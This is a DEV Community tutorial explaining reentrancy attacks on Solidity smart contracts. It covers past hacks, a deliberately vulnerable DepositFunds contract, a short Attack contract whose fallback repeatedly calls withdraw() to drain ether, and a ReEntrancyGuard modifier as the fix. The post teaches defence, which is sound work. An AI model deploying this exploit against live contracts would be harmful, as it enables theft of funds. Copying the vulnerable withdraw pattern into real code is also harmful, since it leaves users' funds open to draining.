DEV Community

Cover image for Reentrancy Attack in Solidity Smart Contract
Kamil Polak
Kamil Polak

Posted on

6

Reentrancy Attack in Solidity Smart Contract

Reentrancy attack is one of the most destructive attacks in Solidity smart contract. A reentrancy attack occurs when a function makes an external call to another untrusted contract. Then the untrusted contract makes a recursive call back to the original function in an attempt to drain funds.

When the contract fails to update its state prior to sending funds the attacker can continuously call the withdraw function to drain the contract’s funds. A famous real-world Reentrancy attack is the DAO attack which caused a loss of 60 million US dollars

Is the reentrancy attack still a significant problem?

Although reentrancy attack is considered quite old over the past two years there have been cases such as:

  • Uniswap/Lendf.Me hacks (April 2020) – $25 mln, attacked by a hacker using a reentrancy.
  • The BurgerSwap hack (May 2021) – $7.2 mln, because of a fake token contract and a reentrancy exploit.
  • The SURGEBNB hack (August 2021) – $4 mln, seems to be a reentrancy-based price manipulation attack.
  • CREAM FINANCE hack (August 2021) – $18.8 mln, reentrancy vulnerability allowed the exploiter for the second borrow.
  • Siren protocol hack (September 2021) – $3.5 mln, AMM pools were exploited through reentrancy attack.

How does reentrancy attack work?

A reentrancy attack involves two smart contracts. A vulnerable contract and an untrusted attackers contract.

Reentrancy Attack in Solidity Smart Contract
Source: https://cryptomarketpool.com/reentrancy-attack-in-a-solidity-smart-contract/

Reentrancy attack scenario

  1. Vulnerable smart contract have 10 eth.
  2. An attacker store 1 eth using deposit function.
  3. An attacker calls the withdraw function and points to a malicious contract as a recipient.
  4. Now withdraw function will verify if it can be executed:
  • Does the attacker have 1 eth on their balance? Yes – because of their deposit.

  • Transfer 1 eth to a malicious contract. (Note: attacker balance has NOT been updated yet)

  • Fallback function on received eth calls withdraw function again.

  1. Now withdraw function will verify if it can be executed:
  • Does the attacker have 1 eth on their balance? Yes – because the balance has not been updated.

  • Transfer 1 eth to a malicious contract.

  • and again until the attacker will drain all the funds stored on the contract

Below is the contract which contains the reentrancy vulnerability

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}
Enter fullscreen mode Exit fullscreen mode

The vulnerability comes where we send the user their requested amount of ether. In this case, the attacker calls withdraw() function. Since his balance has not yet been set to 0, he is able to transfer the tokens even though he already received tokens.

Now, let's consider a malicious attacker creating the following contract

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}
Enter fullscreen mode Exit fullscreen mode

The attack function calls the withdraw function in the victim’s contract. When the token is received the fallback function calls back the withdraw function. Since the check is passed contract sends the token to the attacker which triggers the fallback function.

How to protect smart contract against reentrancy attack?

To prevent a reentrancy attack in a Solidity smart contract you should:

  • Ensure all state changes happen before calling external contracts, i.e. update balances or code internally before calling external code

  • Use function modifiers that prevent re-entrancy

Modifier to prevent a reentrancy attack

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
Enter fullscreen mode Exit fullscreen mode

Sources:

Heroku

Deploy with ease. Manage efficiently. Scale faster.

Leave the infrastructure headaches to us, while you focus on pushing boundaries, realizing your vision, and making a lasting impression on your users.

Get Started

Top comments (0)

AWS Q Developer image

Your AI Code Assistant

Automate your code reviews. Catch bugs before your coworkers. Fix security issues in your code. Built to handle large projects, Amazon Q Developer works alongside you from idea to production code.

Get started free in your IDE

👋 Kindness is contagious

Explore a trove of insights in this engaging article, celebrated within our welcoming DEV Community. Developers from every background are invited to join and enhance our shared wisdom.

A genuine "thank you" can truly uplift someone’s day. Feel free to express your gratitude in the comments below!

On DEV, our collective exchange of knowledge lightens the road ahead and strengthens our community bonds. Found something valuable here? A small thank you to the author can make a big difference.

Okay